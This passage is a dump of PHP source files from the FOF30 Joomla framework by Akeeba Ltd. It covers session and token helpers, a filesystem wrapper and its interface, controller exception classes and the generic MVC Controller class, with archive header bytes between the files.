(!empty($msg)) { if (empty($type)) { $type = 'message'; } $app->enqueueMessage($msg, $type); } $app->redirect($url, $status); } /** * If you're here, you have an ancient Joomla version and we have to use the legacy four parameter method... * Note that we can't set a custom HTTP code, we can only tell it if it's a permanent redirection or not. */ $app->redirect($url, $msg, $type, $status == 301); } /** * Handle an exception in a way that results to an error page. We use this under Joomla! to work around a bug in * Joomla! 3.7 which results in error pages leading to white pages because Joomla's System - Page Cache plugin is * broken. * * @param Exception $exception The exception to handle * * @throws Exception We rethrow the exception */ public function showErrorPage(Exception $exception) { // Necessary workaround for broken System - Page Cache plugin in Joomla! 3.7.0 $this->bugfixJoomlaCachePlugin(); throw $exception; } /** * Set a variable in the user session * * @param string $name The name of the variable to set * @param string $value (optional) The value to set it to, default is null * @param string $namespace (optional) The variable's namespace e.g. the component name. Default: 'default' * * @return void */ public function setSessionVar($name, $value = null, $namespace = 'default') { // CLI if ($this->isCli() && !class_exists('FOFApplicationCLI')) { static::$fakeSession->set("$namespace.$name", $value); return; } // Joomla 3 if (version_compare(JVERSION, '3.9999.9999', 'le')) { $this->container->session->set($name, $value, $namespace); } // Joomla 4 if (empty($namespace)) { $this->container->session->set($name, $value); return; } $registry = $this->container->session->get('registry'); if (is_null($registry)) { $registry = new Registry(); $this->container->session->set('registry', $registry); } $registry->set($namespace . '.' . $name, $value); } /** * Get a variable from the user session * * @param string $name The name of the variable to set * @param string $default (optional) The default value to return if the variable does not exit, default: null * @param string $namespace (optional) The variable's namespace e.g. the component name. Default: 'default' * * @return mixed */ public function getSessionVar($name, $default = null, $namespace = 'default') { // CLI if ($this->isCli() && !class_exists('FOFApplicationCLI')) { return static::$fakeSession->get("$namespace.$name", $default); } // Joomla 3 if (version_compare(JVERSION, '3.9999.9999', 'le')) { return $this->container->session->get($name, $default, $namespace); } // Joomla 4 if (empty($namespace)) { return $this->container->session->get($name, $default); } $registry = $this->container->session->get('registry'); if (is_null($registry)) { $registry = new Registry(); $this->container->session->set('registry', $registry); } return $registry->get($namespace . '.' . $name, $default); } /** * Unset a variable from the user session * * @param string $name The name of the variable to unset * @param string $namespace (optional) The variable's namespace e.g. the component name. Default: 'default' * * @return void */ public function unsetSessionVar($name, $namespace = 'default') { $this->setSessionVar($name, null, $namespace); } /** * Return the session token. Two types of tokens can be returned: * * Session token ($formToken == false): Used for anti-spam protection of forms. This is specific to a session * object. * * Form token ($formToken == true): A secure hash of the user ID with the session token. Both the session and the * user are fetched from the application container. They are interpolated with the site's secret and passed * through MD5, making this harder to spoof than the plain old session token. * * @param bool $formToken Should I return a form token? * @param bool $forceNew Should I force the creation of a new token? * * @return mixed */ public function getToken($formToken = false, $forceNew = false) { // For CLI apps we implement our own fake token system if ($this->isCli()) { $token = $this->getSessionVar('session.token'); // Create a token if (is_null($token) || $forceNew) { $token = UserHelper::genRandomPassword(32); $this->setSessionVar('session.token', $token); } if (!$formToken) { return $token; } $user = $this->getUser(); return ApplicationHelper::getHash($user->id . $token); } // Web application, go through the regular Joomla! API. if ($formToken) { return JSession::getFormToken($forceNew); } return $this->container->session->getToken($forceNew); } /** @inheritDoc */ public function addScriptOptions($key, $value, $merge = true) { /** @var HtmlDocument $document */ $document = $this->getDocument(); if (!method_exists($document, 'addScriptOptions')) { return; } $document->addScriptOptions($key, $value, $merge); } /** @inheritDoc */ public function getScriptOptions($key = null) { /** @var HtmlDocument $document */ $document = $this->getDocument(); if (!method_exists($document, 'getScriptOptions')) { return []; } return $document->getScriptOptions($key); } /** * Main function to detect if we're running in a CLI environment and we're admin * * @return array isCLI and isAdmin. It's not an associative array, so we can use list(). */ protected function isCliAdmin() { if (is_null(static::$isCLI) && is_null(static::$isAdmin)) { static::$isCLI = false; static::$isAdmin = false; try { if (is_null(JFactory::$application)) { static::$isCLI = true; static::$isAdmin = false; return [static::$isCLI, static::$isAdmin]; } $app = JFactory::getApplication(); static::$isCLI = $app instanceof Exception; if (class_exists('Joomla\CMS\Application\CliApplication')) { static::$isCLI = static::$isCLI || $app instanceof JApplicationCli; } if (class_exists('Joomla\CMS\Application\ConsoleApplication')) { static::$isCLI = static::$isCLI || ($app instanceof ConsoleApplication); } } catch (Exception $e) { static::$isCLI = true; } if (static::$isCLI) { return [static::$isCLI, static::$isAdmin]; } try { $app = JFactory::getApplication(); } catch (Exception $e) { return [static::$isCLI, static::$isAdmin]; } if (method_exists($app, 'isAdmin')) { static::$isAdmin = $app->isAdmin(); } elseif (method_exists($app, 'isClient')) { static::$isAdmin = $app->isClient('administrator'); } } return [static::$isCLI, static::$isAdmin]; } /** * Gets a reference to the cache object, loading it from the disk if * needed. * * @param boolean $force Should I forcibly reload the registry? * * @return Registry */ private function &getCacheObject($force = false) { // Check if we have to load the cache file or we are forced to do that if (is_null($this->_cache) || $force) { // Try to get data from Joomla!'s cache $cache = JFactory::getCache('fof', ''); $this->_cache = $cache->get('cache', 'fof'); $isRegistry = is_object($this->_cache); if ($isRegistry) { $isRegistry = class_exists('JRegistry') ? ($this->_cache instanceof Registry) : ($this->_cache instanceof Registry); } if (!$isRegistry) { // Create a new Registry object $this->_cache = class_exists('JRegistry') ? new Registry() : new Registry(); } } return $this->_cache; } /** * Save the cache object back to disk * * @return boolean True on success */ private function saveCache() { // Get the Registry object of our cached data $registry = $this->getCacheObject(); $cache = JFactory::getCache('fof', ''); return $cache->store($registry, 'cache', 'fof'); } /** * Joomla! 3.7 has a broken System - Page Cache plugin. When this plugin is enabled it FORCES the caching of all * pages as soon as Joomla! starts loading, before the plugin has a chance to request to not be cached. Event worse, * in case of a redirection, it doesn't try to remove the cache lock. This means that the next request will be * treated as though the result of the page should be cached. Since there is NO cache content for the page Joomla! * returns an empty response with a 200 OK header. This will, of course, get in the way of every single attempt to * perform a redirection in the frontend of the site. */ private function bugfixJoomlaCachePlugin() { // Only Joomla! 3.7 and later is broken. if (version_compare(JVERSION, '3.6.999', 'le')) { return; } // Only do something when the System - Cache plugin is activated if (!class_exists('PlgSystemCache')) { return; } // Forcibly uncache the current request $options = [ 'defaultgroup' => 'page', 'browsercache' => false, 'caching' => false, ]; $cache_key = JUri::getInstance()->toString(); JCache::getInstance('page', $options)->cache->remove($cache_key, 'page'); } } PK���\F%�ee$fof30/Platform/Joomla/Filesystem.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Platform\Joomla; defined('_JEXEC') || die; use Exception; use FOF30\Container\Container; use FOF30\Platform\Base\Filesystem as BaseFilesystem; use JLoader; use Joomla\CMS\Filesystem\File; use Joomla\CMS\Filesystem\Folder; use Joomla\CMS\Filesystem\Path; use UnexpectedValueException; /** * Abstraction for Joomla! filesystem API */ class Filesystem extends BaseFilesystem { /** * Does the file exists? * * @param $path string Path to the file to test * * @return bool */ public function fileExists($path) { return File::exists($path); } /** * Delete a file or array of files * * @param mixed $file The file name or an array of file names * * @return boolean True on success * */ public function fileDelete($file) { return File::delete($file); } /** * Copies a file * * @param string $src The path to the source file * @param string $dest The path to the destination file * @param string $path An optional base path to prefix to the file names * @param boolean $use_streams True to use streams * * @return boolean True on success */ public function fileCopy($src, $dest, $path = null, $use_streams = false) { return File::copy($src, $dest, $path, $use_streams); } /** * Write contents to a file * * @param string $file The full file path * @param string &$buffer The buffer to write * @param boolean $use_streams Use streams * * @return boolean True on success */ public function fileWrite($file, &$buffer, $use_streams = false) { return File::write($file, $buffer, $use_streams); } /** * Checks for snooping outside of the file system root. * * @param string $path A file system path to check. * * @return string A cleaned version of the path or exit on error. * * @throws Exception */ public function pathCheck($path) { return Path::check($path); } /** * Function to strip additional / or \ in a path name. * * @param string $path The path to clean. * @param string $ds Directory separator (optional). * * @return string The cleaned path. * * @throws UnexpectedValueException */ public function pathClean($path, $ds = DIRECTORY_SEPARATOR) { return Path::clean($path, $ds); } /** * Searches the directory paths for a given file. * * @param mixed $paths An path string or array of path strings to search in * @param string $file The file name to look for. * * @return mixed The full path and file name for the target file, or boolean false if the file is not found in * any of the paths. */ public function pathFind($paths, $file) { return Path::find($paths, $file); } /** * Wrapper for the standard file_exists function * * @param string $path Folder name relative to installation dir * * @return boolean True if path is a folder */ public function folderExists($path) { try { return Folder::exists($path); } catch (Exception $e) { return false; } } /** * Utility function to read the files in a folder. * * @param string $path The path of the folder to read. * @param string $filter A filter for file names. * @param mixed $recurse True to recursively search into sub-folders, or an integer to specify the * maximum depth. * @param boolean $full True to return the full path to the file. * @param array $exclude Array with names of files which should not be shown in the result. * @param array $excludefilter Array of filter to exclude * @param boolean $naturalSort False for asort, true for natsort * * @return array Files in the given folder. */ public function folderFiles($path, $filter = '.', $recurse = false, $full = false, $exclude = [ '.svn', 'CVS', '.DS_Store', '__MACOSX', ], $excludefilter = ['^\..*', '.*~'], $naturalSort = false) { // JFolder throws nonsense errors if the path is not a folder try { $path = Path::clean($path); } catch (Exception $e) { return []; } if (!@is_dir($path)) { return []; } // Now call JFolder return Folder::files($path, $filter, $recurse, $full, $exclude, $excludefilter, $naturalSort); } /** * Utility function to read the folders in a folder. * * @param string $path The path of the folder to read. * @param string $filter A filter for folder names. * @param mixed $recurse True to recursively search into sub-folders, or an integer to specify the * maximum depth. * @param boolean $full True to return the full path to the folders. * @param array $exclude Array with names of folders which should not be shown in the result. * @param array $excludefilter Array with regular expressions matching folders which should not be shown in * the result. * * @return array Folders in the given folder. */ public function folderFolders($path, $filter = '.', $recurse = false, $full = false, $exclude = [ '.svn', 'CVS', '.DS_Store', '__MACOSX', ], $excludefilter = ['^\..*']) { // JFolder throws idiotic errors if the path is not a folder try { $path = Path::clean($path); } catch (Exception $e) { return []; } if (!@is_dir($path)) { return []; } // Now call JFolder return Folder::folders($path, $filter, $recurse, $full, $exclude, $excludefilter); } /** * Create a folder -- and all necessary parent folders. * * @param string $path A path to create from the base path. * @param integer $mode Directory permissions to set for folders created. 0755 by default. * * @return boolean True if successful. */ public function folderCreate($path = '', $mode = 0755) { return Folder::create($path, $mode); } } PK���\����&fof30/Platform/FilesystemInterface.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Platform; defined('_JEXEC') || die; use Exception; use FOF30\Container\Container; use UnexpectedValueException; interface FilesystemInterface { /** * Public constructor. * * @param Container $c The component container */ public function __construct(Container $c); /** * Does the file exists? * * @param $path string Path to the file to test * * @return bool */ public function fileExists($path); /** * Delete a file or array of files * * @param mixed $file The file name or an array of file names * * @return boolean True on success * */ public function fileDelete($file); /** * Copies a file * * @param string $src The path to the source file * @param string $dest The path to the destination file * * @return boolean True on success */ public function fileCopy($src, $dest); /** * Write contents to a file * * @param string $file The full file path * @param string &$buffer The buffer to write * * @return boolean True on success */ public function fileWrite($file, &$buffer); /** * Checks for snooping outside of the file system root. * * @param string $path A file system path to check. * * @return string A cleaned version of the path or exit on error. * * @throws Exception */ public function pathCheck($path); /** * Function to strip additional / or \ in a path name. * * @param string $path The path to clean. * @param string $ds Directory separator (optional). * * @return string The cleaned path. * * @throws UnexpectedValueException */ public function pathClean($path, $ds = DIRECTORY_SEPARATOR); /** * Searches the directory paths for a given file. * * @param mixed $paths An path string or array of path strings to search in * @param string $file The file name to look for. * * @return mixed The full path and file name for the target file, or boolean false if the file is not found in * any of the paths. */ public function pathFind($paths, $file); /** * Wrapper for the standard file_exists function * * @param string $path Folder name relative to installation dir * * @return boolean True if path is a folder */ public function folderExists($path); /** * Utility function to read the files in a folder. * * @param string $path The path of the folder to read. * @param string $filter A filter for file names. * @param mixed $recurse True to recursively search into sub-folders, or an integer to specify the * maximum depth. * @param boolean $full True to return the full path to the file. * @param array $exclude Array with names of files which should not be shown in the result. * @param array $excludefilter Array of filter to exclude * * @return array Files in the given folder. */ public function folderFiles($path, $filter = '.', $recurse = false, $full = false, $exclude = [ '.svn', 'CVS', '.DS_Store', '__MACOSX', ], $excludefilter = ['^\..*', '.*~']); /** * Utility function to read the folders in a folder. * * @param string $path The path of the folder to read. * @param string $filter A filter for folder names. * @param mixed $recurse True to recursively search into sub-folders, or an integer to specify the * maximum depth. * @param boolean $full True to return the full path to the folders. * @param array $exclude Array with names of folders which should not be shown in the result. * @param array $excludefilter Array with regular expressions matching folders which should not be shown in * the result. * * @return array Folders in the given folder. */ public function folderFolders($path, $filter = '.', $recurse = false, $full = false, $exclude = [ '.svn', 'CVS', '.DS_Store', '__MACOSX', ], $excludefilter = ['^\..*']); /** * Create a folder -- and all necessary parent folders. * * @param string $path A path to create from the base path. * @param integer $mode Directory permissions to set for folders created. 0755 by default. * * @return boolean True if successful. */ public function folderCreate($path = '', $mode = 0755); /** * Gets the extension of a file name * * @param string $file The file name * * @return string The file extension */ public function getExt($file); /** * Strips the last extension off of a file name * * @param string $file The file name * * @return string The file name without the extension */ public function stripExt($file); } PK���\ۂ%�nn+fof30/Controller/Exception/ItemNotFound.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Controller\Exception; defined('_JEXEC') || die; /** * Exception thrown when we can't find the requested item in a read task */ class ItemNotFound extends \RuntimeException { } PK���\� ~[``,fof30/Controller/Exception/CannotGetName.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Controller\Exception; defined('_JEXEC') || die; /** * Exception thrown when we can't get a Controller's name */ class CannotGetName extends \RuntimeException { } PK���\�8i�mm,fof30/Controller/Exception/NotADataModel.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Controller\Exception; defined('_JEXEC') || die; /** * Exception thrown when the provided Model is not a DataModel */ class NotADataModel extends \InvalidArgumentException { } PK���\HD��+fof30/Controller/Exception/TaskNotFound.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Controller\Exception; defined('_JEXEC') || die; /** * Exception thrown when we can't find a suitable method to handle the requested task */ class TaskNotFound extends \InvalidArgumentException { } PK���\�E���+fof30/Controller/Exception/LockedRecord.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Controller\Exception; defined('_JEXEC') || die; use Exception; use Joomla\CMS\Language\Text; /** * Exception thrown when the provided Model is locked for writing by another user */ class LockedRecord extends \RuntimeException { public function __construct($message = "", $code = 403, Exception $previous = null) { if (empty($message)) { $message = Text::_('LIB_FOF_CONTROLLER_ERR_LOCKED'); } parent::__construct($message, $code, $previous); } } PK���\�ag6{6{fof30/Controller/Controller.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Controller; defined('_JEXEC') || die; use FOF30\Container\Container; use FOF30\Controller\Exception\CannotGetName; use FOF30\Controller\Exception\TaskNotFound; use FOF30\Model\Model; use FOF30\View\View; use Joomla\CMS\Application\CMSApplication; use Joomla\CMS\Cache\Cache; use Joomla\CMS\Cache\Controller\ViewController; use Joomla\CMS\Cache\Exception\CacheExceptionInterface; use Joomla\CMS\Document\Document; use Joomla\CMS\Factory; use Joomla\CMS\Language\Text; use Joomla\CMS\Log\Log; use Joomla\CMS\Router\Route; use Joomla\CMS\Uri\Uri; /** * Class Controller * * A generic MVC controller implementation * * @property-read \FOF30\Input\Input $input The input object (magic __get returns the Input from the Container) */ class Controller { /** * Instance container. * * @var Controller */ protected static $instance; /** * The name of the controller * * @var array */ protected $name = null; /** * The mapped task that was performed. * * @var string */ protected $doTask; /** * Bit mask to enable routing through JRoute on redirects. The value can be: * * 0 = never * 1 = frontend only * 2 = backend only * 3 = always * * @var int */ protected $autoRouting = 0; /** * Should I protect against state bleedover? When this is enabled the default model's state hash will be * automatically set to include the controller name i.e. `com_example.controllerName.modelName.` instead of * `com_example.modelName.`. This will happen ONLY if the preventStateBleedover flag is set, the controller and * model names are different and the model doesn't set its own hash (or override getHash altogether). * * You should only need to enable this feature when you have multiple controllers using the _same_ Model as their * default. For example, if you have a blog component with Latest and Posts Controllers, both using the Posts Model * as their default Model the state variables set in the latest posts page would bleed over to the posts page. This * can include filtering and pagination preferences, resulting in a confusing experience for the user. * * Caveat: if you are using a different Controller class for singular / plural view names you will need to override * getModel() yourself. Otherwise the state of the singular view would be disjointed from the state of the * plural view (since the Controller names are different). That's the reason why this feature is turned off * by default. * * False = same behavior as FOF 3.0.0 to 3.1.1 inclusive. * * @var bool */ protected $preventStateBleedover = false; /** * Redirect message. * * @var string */ protected $message; /** * Redirect message type. * * @var string */ protected $messageType; /** * Array of class methods * * @var array */ protected $methods; /** * The set of search directories for resources (views). * * @var array */ protected $paths; /** * URL for redirection. * * @var string */ protected $redirect; /** * Current or most recently performed task. * * @var string */ protected $task; /** * Array of class methods to call for a given task. * * @var array */ protected $taskMap; /** * The current view name; you can override it in the configuration * * @var string */ protected $view = ''; /** * The current layout; you can override it in the configuration * * @var string */ protected $layout = null; /** * A cached copy of the class configuration parameter passed during initialisation * * @var array */ protected $config = []; /** * Overrides the name of the view's default model * * @var string */ protected $modelName = null; /** * Overrides the name of the view's default view * * @var string */ protected $viewName = null; /** * An array of Model instances known to this Controller * * @var array[Model] */ protected $modelInstances = []; /** * An array of View instances known to this Controller * * @var array[View] */ protected $viewInstances = []; /** * The container attached to this Controller * * @var Container */ protected $container = null; /** * The tasks for which caching should be enabled by default * * @var array */ protected $cacheableTasks = []; /** * How user group membership affects caching. The values are: * - 0 : Not taken into account, everyone sees the same page, always * - 1 : Only user groups are taken into account (default behaviour of FOF 3.0 to 3.4.2) * - 2 : The user ID itself is taken into account * * @var bool * @since 3.4.3 */ protected $userCaching = 1; /** * An associative array for required ACL privileges per task. For example: * array( * 'edit' => 'core.edit', * 'jump' => 'foobar.jump', * 'alwaysallow' => 'true', * 'neverallow' => 'false' * ); * * You can use the notation '@task' which means 'apply the same privileges as "task"'. If you create a reference * back to yourself (e.g. 'mytask' => array('@mytask')) it will return TRUE. * * @var array */ protected $taskPrivileges = []; /** * Enable CSRF protection on selected tasks. The possible values are: * * 0 Disabled; no token checks are performed * 1 Enabled; token checks are always performed * 2 Only on HTML requests and backend; token checks are always performed in the back-end and in the front-end * only when format is 'html' * 3 Only on back-end; token checks are performed only in the back-end * * @var integer */ protected $csrfProtection = 2; /** * Public constructor of the Controller class. You can pass the following variables in the $config array: * name string The name of the Controller. Default: auto detect from the class name * default_task string The task to use when none is specified. Default: main * autoRouting int See the autoRouting property * csrfProtection int See the csrfProtection property * viewName string The view name. Default: the same as the controller name * modelName string The model name. Default: the same as the controller name * viewConfig array The configuration overrides for the View. * modelConfig array The configuration overrides for the Model. * * @param Container $container The application container * @param array $config The configuration array * * @return Controller */ public function __construct(Container $container, array $config = []) { // Initialise $this->methods = []; $this->message = null; $this->messageType = 'message'; $this->paths = []; $this->redirect = null; $this->taskMap = []; // Get a local copy of the container $this->container = $container; // Determine the methods to exclude from the base class. $xMethods = get_class_methods('\\FOF30\\Controller\\Controller'); // Get the public methods in this class using reflection. $r = new \ReflectionClass($this); $rMethods = $r->getMethods(\ReflectionMethod::IS_PUBLIC); foreach ($rMethods as $rMethod) { $mName = $rMethod->getName(); // If the developer screwed up and declared one of the helper method public do NOT make them available as // tasks. if ((substr($mName, 0, 8) == 'onBefore') || (substr($mName, 0, 7) == 'onAfter') || substr($mName, 0, 1) == '_') { continue; } // Add default display method if not explicitly declared. if (!in_array($mName, $xMethods) || $mName == 'display' || $mName == 'main') { $this->methods[] = $mName; // Auto register the methods as tasks. $this->taskMap[$mName] = $mName; } } if (isset($config['name'])) { $this->name = $config['name']; } // Get the default values for the component and view names $this->view = $this->getName(); $this->layout = $this->input->getCmd('layout', null); // If the default task is set, register it as such if (array_key_exists('default_task', $config) && !empty($config['default_task'])) { $this->registerDefaultTask($config['default_task']); } else { $this->registerDefaultTask('main'); } // Cache the config $this->config = $config; // Set any model/view name overrides if (array_key_exists('viewName', $config) && !empty($config['viewName'])) { $this->setViewName($config['viewName']); } if (array_key_exists('modelName', $config) && !empty($config['modelName'])) { $this->setModelName($config['modelName']); } // Apply the autoRouting preference if (array_key_exists('autoRouting', $config)) { $this->autoRouting = (int) $config['autoRouting']; } // Apply the csrfProtection preference if (array_key_exists('csrfProtection', $config)) { $this->csrfProtection = (int) $config['csrfProtection']; } // Apply the preventStateBleedover preference if (array_key_exists('preventStateBleedover', $config)) { $this->preventStateBleedover = (bool) ((int) $config['preventStateBleedover']); } } /** * Magic get method. Handles magic properties: * $this->input mapped to $this->container->input * * @param string $name The property to fetch * * @return mixed|null */ public function __get($name) { // Handle $this->input if ($name == 'input') { return $this->container->input; } // Property not found; raise error $trace = debug_backtrace(); trigger_error( 'Undefined property via __get(): ' . $name . ' in ' . $trace[0]['file'] . ' on line ' . $trace[0]['line'], E_USER_NOTICE); return null; } /** * Executes a given controller task. The onBefore<task> and onAfter<task> * methods are called automatically if they exist. * * @param string $task The task to execute, e.g. "browse" * * @return null|bool False on execution failure * * @throws TaskNotFound When the task is not found */ public function execute($task) { $this->task = $task; if (!isset($this->taskMap[$task]) && !isset($this->taskMap['__default'])) { throw new TaskNotFound(Text::sprintf('JLIB_APPLICATION_ERROR_TASK_NOT_FOUND', $task), 404); } $result = $this->triggerEvent('onBeforeExecute', [&$task]); if ($result === false) { return false; } $eventName = 'onBefore' . ucfirst($task); $result = $this->triggerEvent($eventName); if ($result === false) { return false; } // Do not allow the display task to be directly called if (isset($this->taskMap[$task])) { $doTask = $this->taskMap[$task]; } elseif (isset($this->taskMap['__default'])) { $doTask = $this->taskMap['__default']; } else { $doTask = null; } // Record the actual task being fired $this->doTask = $doTask; $ret = $this->$doTask(); $eventName = 'onAfter' . ucfirst($task); $result = $this->triggerEvent($eventName); if ($result === false) { return false; } $result = $this->triggerEvent('onAfterExecute', [$task]); if ($result === false) { return false; } return $ret; } /** * Default task. Assigns a model to the view and asks the view to render * itself. * * YOU MUST NOT USE THIS TASK DIRECTLY IN A URL. It is supposed to be * used ONLY inside your code. In the URL, use task=browse instead. * * @param bool $cachable Is this view cacheable? * @param bool $urlparams Add your safe URL parameters (see further down in the code) * @param string $tpl The name of the template file to parse * * @return void */ public function display($cachable = false, $urlparams = false, $tpl = null) { $document = $this->container->platform->getDocument(); if ($document instanceof Document) { $viewType = $document->getType(); } else { $viewType = $this->input->getCmd('format', 'html'); } $view = $this->getView(); $view->setTask($this->task); $view->setDoTask($this->doTask); // Get/Create the model if ($model = $this->getModel()) { // Push the model into the view (as default) $view->setDefaultModel($model); } // Set the layout if (!is_null($this->layout)) { $view->setLayout($this->layout); } $conf = $this->container->platform->getConfig(); if ($cachable && ($viewType != 'feed') && ($conf->get('caching') >= 1)) { // Get a JCache object $option = $this->input->get('option', 'com_foobar', 'cmd'); // Set up a cache ID based on component, view, task and user group assignment $user = $this->container->platform->getUser(); if ($user->guest) { $groups = []; } else { $groups = $user->groups; } $userId = $user->guest ? 0 : $user->id; switch ($this->userCaching) { case 0: // Developer chose to apply the same caching to everyone $groups = []; $userId = 0; break; case 1: // Developer chose to apply caching per user group membership only $userId = 0; break; } $importantParameters = []; // Set up safe URL parameters if (!is_array($urlparams)) { $urlparams = [ 'option' => 'CMD', 'view' => 'CMD', 'task' => 'CMD', 'format' => 'CMD', 'layout' => 'CMD', 'id' => 'INT', ]; } if (is_array($urlparams)) { /** @var CMSApplication $app */ $app = Factory::getApplication(); $registeredurlparams = null; if (!empty($app->registeredurlparams)) { $registeredurlparams = $app->registeredurlparams; } else { $registeredurlparams = new \stdClass; } foreach ($urlparams as $key => $value) { // Add your safe url parameters with variable type as value {@see JFilterInput::clean()}. $registeredurlparams->$key = $value; // Add the URL-important parameters into the array $importantParameters[$key] = $this->input->get($key, null, $value); } $app->registeredurlparams = $registeredurlparams; } // Create the cache ID after setting the registered URL params, as they are used to generate the ID $cacheId = md5(serialize([ Cache::makeId(), $view->getName(), $this->doTask, $groups, $userId, $importantParameters, ])); // Get the cached view or cache the current view try { /** @var ViewController $cache */ $cache = Factory::getCache($option, 'view'); $cache->get($view, 'display', $cacheId); } catch (CacheExceptionInterface $e) { // Display without caching $view->display($tpl); } } else { // Display without caching $view->display($tpl); } } /** * Alias to the display() task * * @codeCoverageIgnore */ public function main() { $this->display(); } /** * Returns a named Model object * * @param string $name The Model name. If null we'll use the modelName * variable or, if it's empty, the same name as * the Controller * @param array $config Configuration parameters to the Model. If skipped * we will use $this->config * * @return Model The instance of the Model known to this Controller */ public function getModel($name = null, $config = []) { if (!empty($name)) { $modelName = $name; } elseif (!empty($this->modelName)) { $modelName = $this->modelName; } else { $modelName = $this->view; } if (!array_key_exists($modelName, $this->modelInstances)) { if (empty($config) && isset($this->config['modelConfig'])) { $config = $this->config['modelConfig']; } if (empty($name)) { $config['modelTemporaryInstance'] = true; $controllerName = $this->getName(); if ($controllerName != $modelName) { $config['hash_view'] = $controllerName; } } else { // Other classes are loaded with persistent state disabled and their state/input blanked out $config['modelTemporaryInstance'] = false; $config['modelClearState'] = true; $config['modelClearInput'] = true; } $this->modelInstances[$modelName] = $this->container->factory->model(ucfirst($modelName), $config); } return $this->modelInstances[$modelName]; } /** * Returns a named View object * * @param string $name The Model name. If null we'll use the modelName * variable or, if it's empty, the same name as * the Controller * @param array $config Configuration parameters to the Model. If skipped * we will use $this->config * * @return View The instance of the Model known to this Controller */ public function getView($name = null, $config = []) { if (!empty($name)) { $viewName = $name; } elseif (!empty($this->viewName)) { $viewName = $this->viewName; } else { $viewName = $this->view; } if (!array_key_exists($viewName, $this->viewInstances)) { if (empty($config) && isset($this->config['viewConfig'])) { $config = $this->config['viewConfig']; } $viewType = $this->input->getCmd('format', 'html'); // Get the model's class name $this->viewInstances[$viewName] = $this->container->factory->view($viewName, $viewType, $config); } return $this->viewInstances[$viewName]; } /** * Pushes a named view to the Controller * * @param string $viewName The name of the View * @param View $view The actual View object to push * * @return void */ public function setView($viewName, View &$view) { $this->viewInstances[$viewName] = $view; } /** * Set the name of the view to be used by this Controller * * @param string $viewName The name of the view * * @return void */ public function setViewName($viewName) { $this->viewName = $viewName; } /** * Set the name of the model to be used by this Controller * * @param string $modelName The name of the model * * @return void */ public function setModelName($modelName) { $this->modelName = $modelName; } /** * Pushes a named model to the Controller * * @param string $modelName The name of the Model * @param Model $model The actual Model object to push * * @return void */ public function setModel($modelName, Model &$model) { $this->modelInstances[$modelName] = $model; } /** * Method to get the controller name * * The controller name is set by default parsed using the classname, or it can be set * by passing a $config['name'] in the class constructor * * @return string The name of the controller * * @throws CannotGetName If it's impossible to determine the name and it's not set */ public function getName() { if (empty($this->name)) { $r = null; if (!preg_match('/(.*)\\\\Controller\\\\(.*)/i', get_class($this), $r)) { throw new CannotGetName(Text::_('LIB_FOF_CONTROLLER_ERR_GET_NAME'), 500); } $this->name = $r[2]; } return $this->name; } /** * Get the last task that is being performed or was most recently performed. * * @return string The task that is being performed or was most recently performed. */ public function getTask() { return $this->task; } /** * Gets the available tasks in the controller. * * @return array Array[i] of task names. */ public function getTasks() { return $this->methods; } /** * Redirects the browser or returns false if no redirect is set. * * @return boolean False if no redirect exists. */ public function redirect() { if ($this->redirect) { $this->container->platform->redirect($this->redirect, 301, $this->message, $this->messageType); return true; } return false; } /** * Register the default task to perform if a mapping is not found. * * @param string $method The name of the method in the derived class to perform if a named task is not found. * * @return Controller This object to support chaining. */ public function registerDefaultTask($method) { $this->registerTask('__default', $method); return $this; } /** * Register (map) a task to a method in the class. * * @param string $task The task. * @param string $method The name of the method in the derived class to perform for this task. * * @return Controller This object to support chaining. */ public function registerTask($task, $method) { if (in_array($method, $this->methods)) { $this->taskMap[$task] = $method; } return $this; } /** * Unregister (unmap) a task in the class. * * @param string $task The task. * * @return Controller This object to support chaining. */ public function unregisterTask($task) { unset($this->taskMap[$task]); return $this; } /** * Sets the internal message that is passed with a redirect * * @param string $text Message to display on redirect. * @param string $type Message type. Optional, defaults to 'message'. * * @return string Previous message */ public function setMessage($text, $type = 'message') { $previous = $this->message; $this->message = $text; $this->messageType = $type; return $previous; } /** * Set a URL for browser redirection. * * @param string $url URL to redirect to. * @param string $msg Message to display on redirect. Optional, defaults to value set internally by * controller, if any. * @param string $type Message type. Optional, defaults to 'message' or the type set by a previous call to * setMessage. * * @return Controller This object to support chaining. */ public function setRedirect($url, $msg = null, $type = null) { // If we're parsing a non-SEF URL decide whether to use JRoute or not if (strpos($url, 'index.php') === 0) { $isAdmin = $this->container->platform->isBackend(); $auto = false; if (($this->autoRouting == 2 || $this->autoRouting == 3) && $isAdmin) { $auto = true; } if (($this->autoRouting == 1 || $this->autoRouting == 3) && !$isAdmin) { $auto = true; } if ($auto) { $url = Route::_($url, false); } /** * Joomla 4 does not add the base URI to redirections. * * This means that all bare redirects, e.g. to 'index.php?option=com_example', no longer work correctly. * * In the frontend, if your site is located in a subdirectory e.g. /foobar you get redirected to * /index.php?option=com_example instead of /foobar/index.php?option=com_example * * In the backend, you're redirected to /index.php?option=com_example instead of the expected * /administrator/index.php?option=com_example which breaks your application since the backend redirects to * the frontend. * * This is an undocumented b/c break in Joomla 4. It even breaks some of the core components... * * The following code detects bare redirect URLs and adds the base URI path if auto-routing has been * disabled, automatically fixing the observed issue. It only does that on Joomla 4 since adding the base * URI on Joomla 3 can 